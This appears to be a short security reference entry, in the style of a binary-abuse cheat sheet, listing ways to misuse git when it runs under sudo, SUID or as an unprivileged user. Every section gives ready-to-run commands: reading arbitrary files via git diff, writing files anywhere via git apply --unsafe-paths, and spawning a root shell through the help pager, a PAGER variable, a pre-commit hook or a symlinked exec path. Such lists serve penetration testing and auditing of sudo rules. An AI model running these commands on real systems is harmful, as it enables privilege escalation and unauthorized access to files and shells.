git

File Read

Context: sudo, suid, unprivileged

git diff /dev/null /path/to/input-file

File Write

Context: sudo, suid, unprivileged

git apply --unsafe-paths --directory / x.patch

Inherit

Context: sudo, unprivileged

git help config

Context: sudo, unprivileged

git branch --help config
!/bin/sh

Shell

Context: sudo, unprivileged

PAGER='/bin/sh -c "exec sh 0<&1"' git -p help

Context: sudo, unprivileged

git init .
echo 'exec /bin/sh 0<&2 1>&2' >.git/hooks/pre-commit
chmod +x .git/hooks/pre-commit
git -C . commit --allow-empty -m x

Context: sudo, suid, unprivileged

ln -s /bin/sh git-x
git --exec-path=. x